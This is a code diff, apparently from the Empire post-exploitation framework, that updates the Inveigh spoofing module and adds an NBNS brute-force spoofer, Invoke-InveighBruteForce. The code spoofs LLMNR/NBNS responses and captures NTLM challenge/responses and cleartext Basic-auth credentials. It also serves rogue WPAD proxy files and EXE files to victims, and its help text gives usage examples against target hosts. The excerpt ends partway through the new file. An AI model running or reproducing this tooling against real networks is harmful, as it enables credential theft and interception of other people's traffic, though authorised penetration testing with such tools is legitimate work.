-and ($source_IP -ne $IP)) { $inveigh.IP_capture_list += $source_IP } @@ -599,7 +830,7 @@ $SMB_NTLM_functions_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($MachineAccounts,$ForceWPADAuth) + param ($HTTPAuth,$HTTPBasicRealm,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -607,19 +838,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} - if($Inveigh.challenge) + if($inveigh.challenge) { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -647,8 +878,57 @@ $HTTP_scriptblock = $inveigh.context = $inveigh.HTTP_listener.GetContext() $inveigh.request = $inveigh.context.Request $inveigh.response = $inveigh.context.Response - $inveigh.message = '' + + if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and ($inveigh.request.RawUrl -like '*.exe') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) + } + elseif($inveigh.HTTP_directory) + { + if(($inveigh.HTTP_default_file) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and ($inveigh.request.RawUrl -notmatch '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.HTTP_default_file) -and ($inveigh.request.RawUrl -eq '/') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.WPAD_response) -and ($inveigh.request.RawUrl -match '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) + } + else + { + if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + } + else + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) + } + } + } + else + { + if($inveigh.HTTP_response) + { + $inveigh.message = $inveigh.HTTP_response + } + elseif($inveigh.request.RawUrl -match '/wpad.dat') + { + $inveigh.message = $inveigh.WPAD_response + } + else + { + $inveigh.message = '' + } + + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + } + $NTLM = 'NTLM' + $NTLM_auth = $false if($inveigh.request.IsSecureConnection) { @@ -659,8 +939,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if(($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -668,6 +947,12 @@ $HTTP_scriptblock = { $inveigh.response.StatusCode = 401 } + + if (!$inveigh.request.headers["Authorization"]) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + } [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') @@ -680,7 +965,7 @@ $HTTP_scriptblock = if($HTTP_request_bytes[8] -eq 1) { $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 + $NTLM = NTLMChallengeBase64 } elseif($HTTP_request_bytes[8] -eq 3) { @@ -729,7 +1014,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -751,30 +1036,54 @@ $HTTP_scriptblock = if($inveigh.file_output) { $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - + } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } } $inveigh.response.StatusCode = 200 + $NTLM_auth = $true $NTLM_challenge = '' - } else { $NTLM = 'NTLM' } - } - - [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + elseif($authentication_header.startswith('Basic ')) # Thanks to @xorrior for the initial basic auth code + { + $inveigh.response.StatusCode = 200 + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) + { + $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) + { + $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") + } + else + { + $inveigh.response.StatusCode = 200 + } + $inveigh.response.ContentLength64 = $HTTP_buffer.length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) $HTTP_stream = $inveigh.response.OutputStream $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() @@ -788,7 +1097,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpoofList,$MachineAccounts,$ForceWPADAuth,$RunTime) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$MachineAccounts,$RunTime,$LLMNRTTL,$NBNSTTL) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -803,6 +1112,10 @@ $sniffer_scriptblock = $end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]"$IP", 0) $inveigh.sniffer_socket.Bind($end_point) [void]$inveigh.sniffer_socket.IOControl([Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [BitConverter]::GetBytes($LLMNRTTL) + [array]::Reverse($LLMNR_TTL_bytes) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) if($RunTime) { @@ -905,7 +1218,8 @@ $sniffer_scriptblock = $UDP_length[0] += 16 [Byte[]]$NBNS_response_data = $payload_bytes[13..$payload_bytes.length]` - + (0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + (0x00,0x00,0x00,0x00) @@ -950,7 +1264,7 @@ $sniffer_scriptblock = $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) @@ -980,7 +1294,7 @@ $sniffer_scriptblock = { if($NBNSTypes -contains $NBNS_query_type) { - if ((!$Spooflist -or $SpoofList -contains $NBNS_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $NBNS_response_packet, $destination_point ) $send_socket.Close() @@ -988,9 +1302,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $NBNS_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) { - $NBNS_response_message = "- $NBNS_query_string not on spoof list" + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" } else { @@ -1016,7 +1342,7 @@ $sniffer_scriptblock = [byte[]]$LLMNR_response_data = $payload_bytes[12..$payload_bytes.length] $LLMNR_response_data += $LLMNR_response_data` - + (0x00,0x00,0x00,0x1e)` + + $LLMNR_TTL_bytes` + (0x00,0x04)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes() @@ -1034,12 +1360,12 @@ $sniffer_scriptblock = $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $LLMNR_query_string = New-Object System.String ($LLMNR_query,0,$LLMNR_query.Length) if($LLMNR -eq 'y') { - if((!$Spooflist -or $SpoofList -contains $LLMNR_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $LLMNR_response_packet, $destination_point ) $send_socket.Close( ) @@ -1047,9 +1373,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $LLMNR_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) { - $LLMNR_response_message = "- $LLMNR_query_string not on spoof list" + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" } else { @@ -1077,23 +1415,28 @@ $sniffer_scriptblock = $inveigh.HTTP_listener.Close() } - $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") - $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") - - if($inveigh.file_output) + if($inveigh.relay_running) { - "$(Get-Date -format 's') - Inveigh auto-exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false } + + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } @@ -1112,12 +1455,9 @@ $sniffer_scriptblock = } } } - + $inveigh.HTTP = $false - $inveigh.HTTPS = $false - $inveigh.running = $false - $inveigh.relay_running = $false - + $inveigh.HTTPS = $false } } @@ -1140,6 +1480,12 @@ $sniffer_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } } @@ -1175,12 +1521,10 @@ Function HTTPListener() $HTTP_powershell = [powershell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null } # Sniffer/Spoofer Startup Function @@ -1195,9 +1539,10 @@ Function SnifferSpoofer() $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpoofList).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null - $sniffer_handle = $sniffer_powershell.BeginInvoke() + $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $MachineAccounts).AddArgument($RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.BeginInvoke() > $null } # End Startup Functions @@ -1215,7 +1560,7 @@ SnifferSpoofer if($inveigh.console_output) { - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1228,33 +1573,31 @@ if($inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" + "* for relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1281,4 +1624,4 @@ if($inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/collection/Invoke-InveighBruteForce.ps1 b/data/module_source/collection/Invoke-InveighBruteForce.ps1 new file mode 100644 index 0000000..c30e1e6 --- /dev/null +++ b/data/module_source/collection/Invoke-InveighBruteForce.ps1 @@ -0,0 +1,1188 @@ +Function Invoke-InveighBruteForce +{ +<# +.SYNOPSIS +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. + +.DESCRIPTION +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following features: + + Targeted IPv4 NBNS brute force spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP + Granular control of console and file output + Run time control + +This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host. + +.PARAMETER SpooferTarget +Specify an IP address to target for brute force NBNS spoofing. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSPause +Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: Specify a TCP IP address for the HTTP listener. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. + +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER ConsoleOutput +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. + +.PARAMETER OutputDir +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +Default = Unlimited: (Integer) Set the run time duration in minutes. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 +Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 +Target 192.168.1.11 for 'server1' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 +Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$HTTPIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferTarget="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$HTTPPort="80", + [parameter(Mandatory=$false)][int]$NBNSPause="", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", + [parameter(Mandatory=$false)][int]$RunCount="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$Hostname = "WPAD", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($NBNS -eq 'y' -and !$SpooferTarget) +{ + Throw "You must specify a -SpooferTarget if enabling -NBNS" +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } +} + +if(!$OutputDir) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $OutputDir +} + +if(!$inveigh) +{ + $global:inveigh = [hashtable]::Synchronized(@{}) + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList +} + +if($inveigh.bruteforce_running) +{ + Throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" +} + +$inveigh.console_queue = New-Object System.Collections.ArrayList +$inveigh.status_queue = New-Object System.Collections.ArrayList +$inveigh.log_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList +$inveigh.console_output = $false +$inveigh.console_input = $true +$inveigh.file_output = $false +$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" +$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" +$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.challenge = $Challenge +$inveigh.hostname_spoof = $false +$inveigh.bruteforce_running = $true + +if($StatusOutput -eq 'y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages 